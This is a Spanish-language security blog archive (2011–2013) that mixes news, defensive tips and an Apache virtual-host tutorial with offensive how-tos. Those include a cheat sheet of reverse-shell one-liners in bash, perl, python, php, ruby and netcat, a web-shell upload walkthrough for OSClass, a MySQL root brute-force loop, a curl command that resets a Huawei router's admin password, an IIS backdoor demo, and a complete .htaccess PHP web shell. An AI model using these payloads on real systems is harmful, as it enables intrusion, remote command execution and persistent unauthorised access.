E-VIDENCIA

Lobo Solitario (off topic)

2013-12-29T12:27:00.002-03:00

"Si estuviste ausente durante mi lucha, no esperes estar presente durante mi exito."

Nose quien haya sido el autor d la frase, frase con la q me identifico ya q en los momentos mas dificiles las personas q "tengo cerca" suelen desaparecer o peor aun tratan d tirarme palidas. Por suerte tengo el perfil d lobo solitario y soy lo suficientemente terco para dejarme influenciar por mediocridades y basicos pensamientos. El tiempo (casi) siempre supo darme la razon y cuando la tormenta pasa "misteriosamente" las personas aparecen con ironicas palmaditas en la espalda diciendo "bien echo" "yo sabia q lo lograrias".

Larga vida al Hacking!!!

Malware de Sistemas Bancarios

2013-11-10T08:07:00.001-03:00

Si hablamos de sistemas de planificación de recursos empresariales (ERP) tarde o temprano caeremos en sistemas SAP, alguna vez me pregunte por los sistemas que se utilizan en empresas grandes y tomando como referencia la revista Forbes veremos que en la lista de las 500 compañías mas ricas del mundo, el 80% utiliza SAP.

Teniendo como en cuanta lo dicho anteriormente, tal vez no debería sorprendernos la aparición de una nueva variante de troyano de sistema bancario que escanea en busca de clientes SAP, este malware es una evolución de la familia Trjan.Ibank y no es tan popular como ZeuS o SpyEye.
Investigadores de Dr. Web antivirus fueron quienes descubrieron este extraño comportamiento en un malware. La hipotesis que se baraja según el jefe de tecnología de ERPScan, Alexander Polyakov es que, los cyberdelincuentes podrían explotar alguna vulnerabilidad desconocida (0 day) en estos sistemas.

Si un cliente SAP fuese vulnerado y dependiendo de las credenciales que sean robadas, un atacante podría sustraer información financiera, secretos coorporativos, información de clientes y siendo aun mas apocalíptico, si un servidor SAP fuese comprometido los atacantes podrían robar dinero, aprobar pagos, cambiar cuentas de clientes y/o redirigir pagos a cuentas que se encuentras en su poder.

Un ataque a este sistema seria muy sensible, incluso si llegaran a liberar una actualización, y digo estos tomando como parámetro la vulnerabilidad critica descubierta en la aplicación SAProuter, que permite la ejecución remota de código arbitrario y si bien, el parche existe hace ya seis meses, solo fueron actualizados muy pocos de ellos. Al día de hoy se pueden acceder a mas de 4.000 SAProuter a través de internet (4250 para ser exactos =).

Para mas información:

http://www.computerworld.com/s/article/9243727/New_malware_variant_suggests_cybercriminals_targeting_SAP_users
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/sap/sap_router_info_request.rb

Virtual Hosts con Apache2

2013-10-30T20:39:00.001-03:00

Debido a muchas dudas en cuanto a servidores virtuales (configuraciones) en Apache, escribo este post rapidito, para mostrar la forma "correcta" de hacerlo.

He visto muchas veces (yo tmb lo hacia) que al momento de desarrollar un site, tenemos la costubre de colgar todos los proyectos en un directorio similar a este:

/home/usrprogramador/www/site1
/home/usrprogramador/www/site2
/home/usrprogramador/www/site3

y crear un link simbolico en /var/www, para asi poder llegar, mediante el navegador a los diferentes proyectos con que estemos trabajando de esta manera

http://localhost/www/site1
http://localhost/www/site2

Esto es totalmente funcional pero, lo correcto seria hacerlo utilizando hosts virtuales, o sea, usar diferentes nombres de dominio utilizando una unica direccion IP, y de esta manera navegar por los mismos se haria de la siguiente forma:

http://www.site1.com
http://www.site2.com
http://www.site3.com

Bueno, vamos paso a paso (cuatro para ser exactos =)

Paso 1: /etc/hosts
En este archivo crearemos tantos nombres de dominio como necesitemos utilizando la misma direccion IP, p.e.
127.0.0.1 localhost
127.0.0.1 www.site1.com
127.0.0.1 www.site2.com

Paso 2: /var/www/
Creamos un directorio por cada site

# mkdir -p site1/public_html
# mkdir -p site2/public_html

le asignamos al usuario que corresponda y con los permisos suficientes

# chown -R usrprogramador site1/public_html/
# chmod -R 755 site1/

Paso 3: /etc/apache2/sites-available/
Aqui vamos a escribir nuestro archivo de configuracion para los sites; y para ahorrarnos tiempo copiamos el que se encuentra por defecto:

# cp default site1

editamos el archivo recien copiado y debajo de la linea ServerAdmin, agregamos

ServerName site1
ServerAlias www.site1.com

y modificamos DocumentRoot por la direccion correcta

DocumentRoot /var/www/site1/public_html

Ahora solo resta habilitar nuestro host virtual en apache

# a2ensite site1

Paso 4: Reiniciar Apache
Y aqui, volvemos a lo mismo, conozco gente que tienen la mala costumbre de matar el proceso (killall apache2) y levantarlo manualmente, si bien esto tambien es funcional, lo correcto seria hacerlo de esta manera:

# service apache2 restart

Bueno, espero no haberme liado demasiado, ni haber omitido algun paso, de todas formas si encuentran errores sientanse libre de corregirme, y asi aprendemos todos :)

Para más información:

http://httpd.apache.org/docs/2.2/vhosts/
https://www.digitalocean.com/community/articles/how-to-set-up-apache-virtual-hosts-on-ubuntu-12-04-lts

Bypass JBoss: "unauthenticated autentication"

2013-02-20T00:48:00.000-03:00

     Curiosa falla ocurre en JBoss Enterprise Application Platform 4.3.0 CP10, cuando se encuentra activo el modulo LDAP login; resulta que, por defecto este modulo se encuentra erroneamente configurado, y permite poder logearse sin contraseña alguna. Solo se necesita saber el nombre de usuario y dejar en blanco el password, de esta manera, simplemente obtenes una "autenticacion" sin ser "autenticado" o_O

     Esta falla se soluciona aplicando la ultima actualizacion de seguridad que liberó la gente de Red Hat; basicamente lo que hace es setear la opción allowEmptyPasswords con el valor False.

     Así que, si olvidaste una clave, estaria bueno que intentes dejar ese campo vacio y ver que pasa (ojo!! debes introducir un usuario valido :)

Para mas información:

https://rhn.redhat.com/errata/RHSA-2013-0248.html
https://bugzilla.redhat.com/show_bug.cgi?id=885569

Authentication bypass x2

2012-06-16T15:06:00.000-03:00

Aquí les dejo dos tips, que te permitirá ingresar a cuentas privilegiadas sin conocer sus respectivas passwords, ambos ataques pueden ser remotos y solo requieren tipear una sola linea en consola.

Caso MySQL/MariaDB: Acceder como root sin conocer el password

Hace unos dias se hizo publico que aplicando fuerza bruta se puede acceder a cualquier cuenta determinada en ciertas versiones de MySQL/MariaDB, solo necesitamos conocer el nombre de usuario de la cuenta a brutear, los mas codiciosos intetarán con "root" (es muy comun encontrarlo habilitado), pero tranquilamente podes intentar con cualquier otro usuario

$ while [ 1 ];do mysql -u root --password=123; done

No demora mucho el proceso, ya que la posibilidad de acierto es de 1 en 256 intentos

Para mas información:
http://www.net-security.org/secworld.php?id=13076

Caso Huawei HG866: Acceder como administrador sin conocer el password

Se puede modificar la clave del administrador en el panel de control web de los router Huawei HG866 ya que la sesión de la pagina password.html no se encuentra debidamente controlada

$ curl --data "psw=qwerty&reenterpsw=qwerty" http://<ip-router>/html/password.html

Con la linea anterior pisamos la contraseña (desconocida) del administrador por la clave "qwerty" (que dificilmente olvidaremos =)

Para mas información:
http://websec.mx/advisories/view/Evasion_de_autenticacion_en_Huawei_HG866

Es seguro el Cloud Computing? - Apache Hadoop

2012-04-13T14:35:00.000-03:00

Apache Hadoop es un proyecto inicializado por Yahoo, brinda la capacidad de manejar grandes volumenes de datos en clusters, en el 2009 logró batir un record mundial ordenando 1 Terabyte de datos en 62 segundos. Recientemente se reporto una grave vulnerabilidad que Hadoop presenta y permitiría impersonalizar usuarios. Impersonalizar es la capacidad que tiene un proceso/thread de ejecutarse en el contexto de seguridad de otro proceso/thread que no es su padre, esto podría ser aprovechado por un atacante realizar una escala de privilegios, o suplantar procesos de otro usuario.

Recuerdo que esta vulnerabilidad le dio mas de un dolor de cabeza a la gente de Microsoft, cuando el investigador Cesar Cerrudo descubrió la falla en Windows, escribió y describió como explotarla.
Por el momento no se dieron mas detalles de la vulnerabilidad de Apache Hadoop.

Y quienes utilizan Apache Hadoop? solo por nombrar algunas companias, Facebook, Google, Yahoo (cloud computing), Linkedln, IBM, Amazon, etc.

Para más informacion ...

http://secunia.com/advisories/48715/
http://developer.yahoo.com/hadoop/
http://sortbenchmark.org/

Como subir una shell en OSClass

2012-03-29T18:22:00.000-03:00

OSClass es un gestor de contenidos (del tipo Joomla o Wordpress) enfocado a la creación de sitios webs de avisos clasificados. Este mini howto, aprovecha una vulnerabilidad encontrada en OSClass, que nos permitirá subir un archivo (en nuestro caso una shell =)

1º Elegir la web shell q mas te guste :P
2º Subir la shell como una imagen para un nuevo item
3º Aprovechamos la falta de saneamiento de la variable "type" del archivo "combine.php", para copiarlo a la carpeta "/oc-content/uploads", o sea a la misma carpeta donde se subió nuestra shell como imagen
http://127.0.0.1/osclass/oc-content/themes/modern/combine.php?type=./../../uploads/combine.php&files=combine.php
4º Utilizamos el combine.php que copiamos en el punto anterior para mover y renombrar nuestra shell
http://127.0.0.1/osclass/oc-content/uploads/combine.php?files=5_original.jpg&type=/../../remote.php
5º Sal y pimienta a gusto.. http://127.0.0.1/osclass/remote.php

todo esta perdido para la gente que utiliza este CMS?? por supuesto que no.. solo deben actualizar a la version 2.3.6 o parsea la variable type!

Para más información ...

http://www.codseq.it/advisories/osclass_directory_traversal_vulnerability
http://osclass.org/

Falla critica en el Escritorio Remoto de Windows

2012-03-16T15:36:00.002-03:00

Comenzaron a aparecer alguno exploits referentes a la nueva vulnerabilidad reportada por Microsoft que afecta a todas las versiones de Windows que tengan habilitada el acceso a escritorio remoto (RPD), esta falla esta catalogada como critica y se encuentra en el campo maxChannelIds del paquete ConnectMCSPDU, que permitiría la ejecución de códigos arbitrarios, para los mas curiosos y aqui les dejo dos PoC's que aprovechan esta falla ...

El primero esta escrito en python lo podes descargar desde aquí
Uso: python rpcexploit.py <ip-objetivo>

Otra variante podes descargarla desde este link
Uso: $ nc <ip-objetivo> 3389 < termdd_1.dat

y por ultimo, también hay una variantes en ruby http://pastie.org/private/feg8du0e9kfagng4rrg

Para mas información ...

http://aluigi.org/adv/termdd_1-adv.txt
http://www.slideshare.net/alisaesage/hacking-microsoft-remote-desktop-services-for-fun-and-profit
http://technet.microsoft.com/en-us/security/bulletin/ms12-020

Las mejores 15 técnicas de hacking

2012-02-25T14:38:00.001-03:00

Es sorprendente la cantidad de técnicas de hacking que se inventan (y reinventan) día a día, en el blog de White Hat Security hicieron un compilado de alguna de ellas, hasta que llegaron a las 15 más destacadas, entre las cuales, mañana 26 de febrero se elegirá las 10 mejores.

Si te gusta las seguridad web o quieres aprender motu proprio y ser un hacker ;) entonces el listado que se muestra mas abajo (ordenado alfabéticamente) te sera de mucha utilidad. El termino "Hacker" es muy amplio y según el contexto en el que nos situemos puede tener connotaciones positivas o negativas, pero este "titulo" no puede otorgarse a si mismo, sino que es un reconocimiento de otras personas hacia tí.

Para más información:

https://blog.whitehatsec.com/vote-now-top-ten-web-hacking-techniques-of-2011/

Ataques fails

2011-12-13T14:38:00.000-03:00

Hace un par de días, mirando los logs del servidor que administro me doy con intentos de ataques provenientes de varias ips, en principio todas los peticiones provenían de Italia y Corea, pero al pasar el tiempo comenzaron a aparecer diferentes origenes, la mayoría lucen así ...

Lo que me llamó la atención es la insistencia para atacar el script AWStats (mas de 1.000 peticiones), también hay otras peticiones curiosas. Seguramente solo se trato de un bot que paso por el server, de todas formas nunca esta de mas tener a mano ciertas herramientas o al menos conocer sobre IDS (sistemas de detección de intrusos) o algún que otro anti-rootkit, actualmente estoy probando Root Kit Hunter y se porta muy bien.
Ah... porque me llamaron la atención estas insistentes peticiones?, simplemente porque no utilizo AWStats!!! ¬ ¬

Stop Duqu !!

2011-11-04T12:43:00.000-03:00

Últimamente estuvo haciendo mucho eco este virus que se propaga por correo afectando a S.O. Windows, en Bélgica tuvieron que cerrar un servidor que era utilizado por Duqu para albergar la información robada de las maquinas afectadas.

La vulnerabilidad que aprovecha este malware residen en el motor de TrueType font, que le permitiría ejecutar código arbitrario en modo kernel. Los investigadores de Microsoft ya se encuentran trabajando sobre una actualización con respecto a este problema. Hasta entonces se pude mitigar la vulnerabilidad denegando el acceso a la libreria t2embed.dll de la siguiente manera:

Para Windows Server 2003

Echo y| cacls "%windir%\system32\t2embed.dll" /E /P everyone:N

Para Windows Server 2008

Takeown.exe /f "%windir%\system32\t2embed.dll"
Icacls.exe "%windir%\system32\t2embed.dll" /deny everyone:(F)

Para mas información ...

http://technet.microsoft.com/en-us/security/advisory/2639658

Jornadas - U.N.Ju.

2011-10-24T13:10:00.001-03:00

Eh aquí lo prometido, en la siguiente dirección podrán descargar las presentaciones de las Jornadas, correspondiente a los temas Hacking Windows y Securizacion Apache.

http://web.iclaro.com.ar/FileCabinet/administrador@iclaro.com.ar

Saludos!!

Saltar CAPTCHAS de Google

2011-10-15T11:39:00.000-03:00

Los Captchas son una prueba para saber si estamos tratando con un humano o con un bot, es una manera útil para evitar spam y detener ataques de fuerza bruta. Los encontramos en mucho lugares como blogs, foros, logins, etc. Se supone que resolver un captcha debe ser fácil para un humano (aunque existen algunas complicadas como "letras de medico") y muy dificil para una maquina.
La máxima dificultad para una maquina es diferenciar patrones similares como ...

"d" "cl"
"ri" "n" rn" "m"
"w" "vv"

Pero hay algunos patrones mas fáciles de reconocer ..

formas circulares: "a" "b" "d" "e" "g" "o" "p" "q"
formas de cruz: "t" "f"
formas con punto: "i" "j"

Existen técnicas que permite a una maquina interpretar captchas, aquí les dejo un paper donde explica una explotacion "nuevita" de captchas que segun el autor logra tener un 68% de aciertos en Google, Twitter, Yahoo, Megaupload y Facebook.

Para mas información ...

http://homepages.cs.ncl.ac.uk/jeff.yan/google.pdf

Hello World !!!

2011-09-24T10:04:00.003-03:00

Diferentes formas de hacer un reverse shell

2011-09-17T19:53:00.000-03:00

Mirándolo desde el punto de vista de un atacante, una vez comprometido un servidor, sera casi inevitable realizar un reverse shell, o sea, hacer que la maquina atacada se conecte a la del atacante proveyendole una shell, y de esta forma saltarse la proteccion de un firewall.

Las formas para llevar esta tarea, estara limitado por el sistema con que estemos tratando y las herramientas que tenga instaladas, aqui dejo algunas de las formas que se pueden emplear ... ^_^

Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
nc -e /bin/sh 10.0.0.1 1234

Para mas información ...

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Control Social? o Exposicion de Información ?

2011-09-07T12:37:00.001-03:00

Hace unos días, luego de una revuelta social, y movidas políticas, el gobierno de Jujuy se comprometió a entregar lotes a las familias las jujeñas que mas lo necesitan (Decreto Acuerdo Nº 9190-H-11), y en un intento de mostrar transparencia, llamaron a un "Control Social".

Pero hay un pequeño detalle que pasaron por alto, y es la cantidad de información personal que se expone al público (o mejor dicho a todo el mundo, ya que puede ser accedida desde internet), teniendo en cuenta que se trata de una base de datos de mas de 50.000 registros esto es una mina de oro para gente inescrupulosa que se dedique al robo de identidad, ya que los registros pueden ser consultados sin ningún tipo de restricción (credenciales, logueos, captchas, etc.)

Estuve buscando, http://www.jujuy.gov.ar/index2/gob4a/plan.php, alguna casilla de correo, para comunicarme con los desarrolladores o encargados del sitio pero lamentablemente la sección "Contactos", no lleva a ningún lado.

Creando una Backdoor silenciosa en IIS

2011-08-19T11:40:00.000-03:00

Imaginemos un hipotético caso, donde se halla comprometido un servidor Windows con IIS, ahora el atacante tiene que realizar un ultimo "retoque" al servidor para poder asegurarse futuros accesos, en otra palabras, el chico malo instalara una backdoor.

Internet Information Service es uno de los servidores webs de Microsoft, y uno de los mas populares que existen en la red de redes, IIS viene acompañado de APIs especiales, para hacerle la vida mas amena al desarrollador, estas herramientas son las famosas ISAPI (Internet Server Application Programming Interface).

ISAPI cuenta con dos tipos de componentes:

Extensiones: son aplicaciones que corren sobre IIS y pueden ser accedidas de la misma manera que las paginas estáticas, p.e. http://<web>/<extencion>
Filtros: permiten realizar mejoras a las funcionalidades de IIS, siempre serán ejecutadas por el servidor filtrando cada petición (http) que se realice en el mismo

Una interesante forma de crear una backdoor en IIS es hacer uso de estos Filtros, y no utilizar Extensiones porque son "mas ruidosas" ya que se debería utilizar una URL especifica cada vez que queramos hacer uso de nuestra backdoor, la cual quedaría registrada en los logs. En cambio, al utilizar filtros no es necesario acceder a una URL fija, sino que, al llamar a cualquier pagina del servidor con una petición especial nuestra backdoor entraría en funcionamiento.

Veamos como estan organizados internamente los filtros en la memoria del servidor ...

para implementar la backdoor, básicamente julien propone agregar un nuevo filtro que este a la espera de una peticion especial y disparar la dll que hayamos cargado previamente.

entonces, al realizar una petición a una web cualquiera del servidor comprometido, p.e. http://<web>/pwet.html la respuesta del servidor seria ...

GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>

hasta aquí, nada raro... pero ahora realicemos una nueva petición a la misma pagina, pero esta vez mandaremos nuestra cabecera especial, de forma tal que el filtro la encuentre y nos de una respuesta, en el ejemplo de abajo, mandaremos la orden ListDir (X-Order: ListDir) y especificaremos el parámetro C:\ (X-Data: Qzpc) codificado en Base64 =)

GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub

Para mas información:

http://esec-lab.sogeti.com/post/2011/02/02/IIS-Backdoor
http://technet.microsoft.com/es-es/library/cc733109(WS.10).aspx

Hacking WordPress

2011-08-05T09:40:00.001-03:00

Tim Thumb es una herramienta que permite generar thumbnails (pre-visualizaciones de imágenes) y es ampliamente utilizada por numerosos themes de WordPress, esta herramienta presenta una falla que permite subir binarios maliciosos (en el caso de Marck Maunder le subieron la shell Alucar) y tomar el control de una web vulnerable.

Para explotar la vulnerabilidad, un atacante aprovecha la funcionalidad de Tim Thumb para cachear imágenes, la cuales son alojadas en un directorio con permiso de lectura. Entonces, el atacante solo debe crear un archivo malicioso e indicarle a timthumb.php que lo recoja remotamente, y este lo cacheara en el webroot del sitio atacado.

Una forma rápida de obtener un listado de archivos vulnerables es la siguiente:

# find . -name '*thumb.php' -exec ls -l {} \; > list.txt

El resultados de la linea anterior debería ser actualizado con la ultima version que se puede descargar desde aqui http://code.google.com/p/timthumb/

Para mas información ...

http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
http://markmaunder.com/2011/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/
http://www.darknet.org.uk/2011/08/zero-day-vulnerability-in-timthumb-image-utility-threatens-many-wordpress-sites/

Patrones ocultos en las Impresoras

2011-07-15T12:43:00.002-03:00

Recuerdan la noticia de "Impresoras Espías" que hizo mucho eco en el año 2005, hoy mirando algunos blogs recordé la noticia y busque un poco de la forma de codificación que estas utilizan.

Similar a las huellas digitales que pueden identificar unívocamente a una persona, ciertas impresoras dejan su "huella y algo mas" en los papeles que imprime, esto es una característica que (dicen las malas lenguas) el gobierno influye/impone en algunos fabricantes para que dejen este patrón oculto, con esto, a partir de una simple hoja impresa, se podría rastrear al usuario que haya realizado ese trabajo (obteniendo el numero de serie de la impresora) también se podría saber la fecha y hora en que se realizó la impresión.

Veamos un ejemplo estos patrones:

Impresora Canon

Impresora Xerox

Con las imágenes de arriba se puede formar una matriz de 8x15, donde se supone que cada punto amarillo, se reemplaza con un 1 (bit), para así formar 15 bytes (1 byte = 8 bits). A partir de aquí los investigadores de FFE (Electronic Frontier Foundation), pudieron dar con números de series de diferentes impresoras, aquí pueden encontrar un listado completo de las impresoras en cuestión.

^      x   x x x   x x x   x   x   x
   |                                   
   |      x                 x         x
   |                                   
   |      x x               x x       x
   |                                   
   |      x x       x       x x x   x  
 8 dots                                
   |              x         x x x     x
   |                                   
   |              x x x x   x   x x x x
   |                                   
   |        x         x     x          
   |                                   
   v      x         x   x   x x   x x  

          <--------- 15 dots --------->

Binario Hexadecimal
11110001 --> F1
00110010 --> 32
...
...
00001111 --> 15
11101100 --> EC

Para más información:
https://www.eff.org/issues/printers
https://www.eff.org/wp/investigating-machine-identification-code-technology-color-laser-printers

Vulnerabilidad en el Kernel 2.6.x

2011-06-22T14:16:00.003-03:00

En el mundo Linux, los drivers no están limitados a leer y escribir dispositivos, existe una librería llamada ioctl que se encuentra en el kernel y es el encargado en interactuar con los drivers de los dispositivos, esto nos permitirá, por ejemplo, abrir o cerrar una bandeja de la lectora de cd, disminuir la velocidad de rotación de un disco rígido, conocer si tu tarjeta de red tiene link, etc.

Esta libreria contiene dos funciones, agp_generic_insert_memory() y agp_generic_remove_memory(), que no se encuentran debidamente saneadas, es decir un usuario mal intencionado (llámese atacante :) podría suministrar datos especialmente manipulados para causar una condición de denegación de servicio o realizar una escala de privilegios.

Veamos parte del codigo fuente de una de estas funciones:

1046 int agp_generic_insert_memory(struct agp_memory * mem, off_t pg_start, int type)
1047 {
1048         int num_entries;
1049         size_t i;
1050         off_t j;
1051         void *temp;
1052         struct agp_bridge_data *bridge;
1053         int mask_type;
....
....
1099         if ((pg_start + mem->page_count) > num_entries)
1100                 return -EINVAL;
1101
1102         j = pg_start;
....
....

En la linea 1099, si bien controla que pg_start + mem->page_count no sobrepase el valor de num_entries; no está controlando que pg_start + mem->page_count sea menor que pg_start (esta variable esta siendo pasada por parametro), la misma condicion aparece en la función agp_generic_remove_memory. Mmmm.. y es grave esto??? pues SI, de todas formas esta vulnerabilidad ya fue arreglada, así que solo resta que actualices tu kernel :)

Para más información ...

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=drivers/char/agp/generic.c;h=850a643ad694ff5022d3e51e0b061ad1eca9ef61
http://en.wikipedia.org/wiki/Ioctl
http://securitytracker.com/id/1025439

Securizando tu Wireless

2011-06-15T09:25:00.000-03:00

En los últimos años las conecciones inalámbricas se convirtieron en la forma mas práctica de armar redes, debido a su bajo costo, y su simplicidad en comparación con una red cableada, si bien ambas conviven muy bien, en esta última red podemos "ver" lo que se enchufa y limitar en forma física el acceso, no obstante en una red inalámbrica, no es así, y no es posible limitar el acceso físicamente, posibilitando "visitas no deseadas".

El nivel de paranoia a la hora de securizar una red inalámbrica dependerá si estamos tratando con una wifi hogareña o corporativa, independientemente de esto veamos unos tips, para hacer mas difícil el trabajo a los chicos malos =)

Credenciales, es lo primero que deberías cambiar, nunca utilices credenciales por defecto, ni usuario y contraseñas comunes.
Encriptación, configura tu wifi con WPA2 (utiliza cifrado AES de 128 bits), es de público conocimiento que el protocolo WEP esta completamente roto, no debe utilizarse, por más que utilices un cifrado RC4 de 128 bits. para tu contraseña, esto solo retardara un par de minutos/horas lo inevitable, las intrusiones.
Firewall, lee el manual de usuario de tu router, habilita configuraciones de seguridad, bloquea peticiones anónimas y aplica todas las políticas de seguridad que tu router pueda facilitarte, restringe accesos filtrando por mac adreess u utilizando ip estáticas
Monitoreo, siempre es recomendable ver lo que ocurre en tu red, para esto puede ver logs, o utilizar software de monitorización, de esta manera podrías anticiparte a un posible ataque.

Esto es todo por hoy, se te ocurre algunas otras recomendaciones para ir completando este listado? tal vez, mas adelante hablaremos de servidores radius, o también podríamos enumerar algunos routers no tan seguros como estos :)

http://evidenciasecurity.blogspot.com/2011/03/resetear-la-clave-del-router-linksys.html
http://evidenciasecurity.blogspot.com/2011/02/generador-de-claves-para-jazztel.html
http://evidenciasecurity.blogspot.com/2011/01/multiples-vulnerabilidades-en.html
http://evidenciasecurity.blogspot.com/2011/01/claves-hardcodeadas-ssl.html

Jugando con celulares - MMS avanzado.

2011-06-09T17:28:00.010-03:00

Hola gente, mi 1er aporte a la causa, espero sea el primero de muchos ;-) . Les quiero mostrar un poco de un tema que siempre molesta en mi cabeza en esos tiempos que hay ganas de hacer algo, "Los Celulares".
Se preguntaron como hacer para mandar instrucciones de un celular a otro, como se hace, que hace falta...??? bueno yo si.

¿COMO COMIENZO CON ESTO? una pista, cada vez que cambiaba mi sim, me llegaba un
mensaje del operador con una configuracion automática, que solo debías dar en ejecutar.. este mensaje era un "MMS" así que investigue un poco apartir de esto la forma de mandar mis configuraciones o algo así :-)

Primero, ¿que debemos saber, de los "MMS"?

¿Que es un MMS?
Multimedia Messaging System (MMS) o sistema de mensajería multimedia es un estándar de mensajería que le permite a los teléfonos móviles enviar y recibir contenidos multimedia, incorporando sonido, video, fotos o cualquier otro contenido.

¿Cual es el proceso de envio?

¿ Cuales son Los Tipos de PDU involucrados?

• M-Send.req -> Cabeceras+Cuerpo. Contiene el mensaje original y la información de encaminamiento.

• M-Send.conf -> Sólo cabeceras. Indica el estado de la operación.

• M-Notification.ind -> Sólo cabeceras. Informa a la MS(estacion Movil) sobre el contenido del mensaje entrante.

• M-NotifyResp.ind -> Sólo cabeceras. Confirma la notificación. También se emplea para la entrega aplazada.

• M-Retrieve.conf -> Cabeceras+Cuerpo. Contiene el mensaje original y lo entrega el MMSC(centro de gestión de mensajes multimedia) a la MS receptora.

• M-Acknowledge.ind -> Sólo cabeceras. Confirma la entrega del mensaje desde el terminal receptor al MMSC.

• M-Delivery.ind -> Sólo cabeceras. Se emplea para notificar a la MS emisora la entrega del mensaje

¿Que Protocolos se usan para el Servicio MMS?

• MM7: Estándar MMS para que las aplicaciones envíen mensajes
MMS a un MMSC. Es una API basada en XML/SOAP en la que el
mensaje MMS se formatea en un documento XML codificado
MIME y se envía al servidor mediante una petición HTTP POST.

• MM4: Estándar MMS para conectividad entre varios MMSC. Es
una interfaz basada en SMTP en la que el mensaje MMS se envía
al servidor como mensaje de correo estándar codificado MIME.

• MM1: Estándar MMS para que los teléfonos envíen y reciban
mensajes MMS desde un MMSC. Es un protocolo basado en HTTP
en el que las aplicaciones pueden enviar mensajes MMS
codificados en binario a la pasarela mediante una petición HTTP
POST, de acuerdo con la especificación “MMS Encapsulation
Specification” (tipo MIME application/vnd.wap.mms-message).

• EAIF: Variante del protocolo MM1 propietaria de Nokia, definida
como interfaz para enviar mensajes a un MMSC de Nokia. Esta
interfaz es similar funcionalmente a MM1 con la definición de
algunas cabeceras HTTP adicionales.

¿Cual es la Estructura de un MMS?

Ahora con todo esto puedo empezar a realizar algunos objetivos... Claro para no ser muy extenso lo dejo para el próximo articulo.
(recomiendo que vayan viendo los siguiente software "Nokia Mobile Internet Toolkit" y " Nokia WAP Gateway Simulator" para principiantes como nos).

Aprovechar comentarios para atacar un servidor web

2011-06-06T15:00:00.000-03:00

      El servidor web Apache es uno de los mas populares que existen, en un momento llego a acaparar en más del 65% el mercado, aún hoy sigue siendo el más utilizado en la gran red de redes. La primacía entre otros servidores tiene que ver su robustez y la facilidad de configuración. Una de las virtudes que tiene es que podemos descentralizar la configuración, es decir, diferentes carpetas pueden tener diferentes configuraciones, gracias al archivo .htaccess.

     La configuración de este archivo (.htaccess) es bastante amigable y los cambios que realizemos en él, tiene su efecto en todas las subcarpetas que lo contengan. Apache leerá este archivo primero e ignorará las lineas que comiencen con " # "(se utilizan para comentarios). Por otra parte hablemos un poco de PHP, es un lenguaje escripting embebido, con esto de "embeber" me refiero que un archivo .html puede tener porciones de código encerradas entre " <?php ?> " que serán interpretadas y ejecutadas por PHP.

     Si fusionamos la forma de comentar los archivos de configuracion de Apache (#) y la etiqueta embebida de PHP "<?php ?>" podemos hacer una shell utilizando el archivo .htaccess, tal como lo mensiona Eldar Marcussen en su blog, donde nos cuenta que testeando un CMS (no da nombre =) notó que todos los archivos que subía se guardaban en el propio directorio del CMS (obviamente no permitia subir archivos ejecutables, del tipo .php).

     Ahora bién, la forma de poder ejecutar algo del lado del servidor es subiendo un .htaccess que incluya nuestra shell, y para evitar posibles errores y quejas de Apache en el archivo de configuracion, simplemente escondemos nuestra shell comentando la linea que lo contiene, luego pasamos los parámetros por url y PHP se encargará de ejecutar lo que encuentre dentro de <?php ?>    =)
     Veamos un ejemplo..

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######

La manera de ejecutar un comando seria http://domain/path/.htaccess?c=command. También existen variantes, como pasar los parámetros por POST, o modificar el .htaccess para que ejecute otros tipos de archivos, por ejemplo agregando AddType application/x-httpd-php .jpg y subir una shell con la extensión .jpg, etc...

Para mas información:

http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html
